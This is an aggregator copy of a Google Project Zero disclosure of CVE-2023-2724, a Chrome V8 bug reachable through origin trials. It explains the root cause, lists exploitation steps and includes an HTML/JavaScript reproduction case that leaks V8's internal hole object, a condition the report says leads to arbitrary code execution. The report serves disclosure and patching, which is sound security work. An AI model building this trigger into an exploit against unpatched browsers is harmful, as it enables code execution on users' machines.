Chrome Internal JavaScript Object Access Via Origin Trials

🗓️ 27 Jun 2023 00:00:00Reported by Google Security Research, GlazvunovType

packetstorm🔗 packetstormsecurity.com👁 328 Views

Chrome access vulnerability through Origin Trials. Allows non-extensible object extension, non-configurable property reconfiguration, and arbitrary code execution

Reporter	Title	Published	Views	Family All 316
FreeBSD	electron23 -- multiple vulnerabilities	14 Jun 202300:00	–	freebsd
FreeBSD	electron22 -- multiple vulnerabilities	14 Jun 202300:00	–	freebsd
FreeBSD	chromium -- multiple vulnerabilities	16 May 202300:00	–	freebsd
AstraLinux	Astra Linux - уязвимость в chromium	3 May 202623:59	–	astralinux
Circl	CVE-2023-2724	16 May 202322:30	–	circl
CNNVD	Google Chrome 安全漏洞	16 May 202300:00	–	cnnvd
CNVD	Google Chrome Type Obfuscation Vulnerability (CNVD-2023-43877)	18 May 202300:00	–	cnvd
CVE	CVE-2023-2724	16 May 202318:45	–	cve
Cvelist	CVE-2023-2724	16 May 202318:45	–	cvelist
Debian	[SECURITY] [DSA 5404-1] chromium security update	17 May 202320:42	–	debian

`Chrome: Internal JavaScript object access via Origin Trials  
  
VULNERABILITY DETAILS  
1. `JSObject::DefineAccessor` doesn't ensure that the receiver object is in a valid state before creating an accessor property. This allows callers to extend non-extensible objects and reconfigure non-configurable properties.  
2. The function is reachable from `IDLMemberInstaller::InstallAttributes`:  
```  
IDLMemberInstaller::InstallAttributes ->  
InstallAttribute ->  
Object::SetAccessorProperty ->  
JSObject::DefineAccessor  
```  
3. When an origin trial is activated through a `meta` tag, `InstallAttributes` might be called on a JS object that has already been modified by the user code.  
4. Some origin trials install attributes directly on the global object.  
  
To exploit the issue:  
  
1. Add a non-configurable property to the global object.  
2. Compile a JS function that accesses the property. The compilation dependency in [1] will be skipped.  
3. Enable an origin trial that redefines the property as configurable.  
4. Delete the property.  
  
After that, the compiled function will reference an invalid property cell and leak the internal hole object. This is a known vulnerable condition that can be abused to execute arbitrary code.  
  
[1] https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/compiler/js-native-context-specialization.cc;drc=837cc12de25a288edf3ac222f7265c9936e69552;l=1164  
  
  
VERSION  
Google Chrome 112.0.5615.49 (Official Build) (arm64)  
Chromium 114.0.5713.0 (Developer Build) (64-bit)   
  
  
REPRODUCTION CASE  
```  
<body>  
<script>  
var container = [{}];  
function trigger() { container[0] = documentPictureInPicture; }  
  
Reflect.defineProperty(  
globalThis,  
'documentPictureInPicture',  
{ configurable: false, writable: true, value: {} });  
documentPictureInPicture = {}; // Now `documentPictureInPicture` is a non-configurable mutable slot.  
for (let i = 0; i < 50000; i++) trigger();  
  
// The \"Document Picture-in-Picture\" origin trial force-sets the `documentPictureInPicture` property  
// on the global object.  
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content =  
'AstD02iOsmKKlxPbuURr1i4CKzX6AhBpjqxCMNIinwFqsdNThmojsMI8B7m8GGlR/DNu9i6t4eqEfHvhuvSxHgQAAABe' +  
'eyJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwMDAiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJl' +  
'QVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5fQ==';  
document.head.appendChild(meta);  
  
delete documentPictureInPicture;  
trigger();  
container[0].prop; // Trying to access a property of the hole object should cause to a crash.  
</script>  
</body>  
```  
  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-13.  
  
  
Related CVE Numbers: CVE-2023-2724.  
  
  
  
Found by: [email protected]  
  
`

27 Jun 2023 00:00Current

7.1High risk

Vulners AI Score7.1

CVSS 3.18.8

EPSS0.10425

SSVC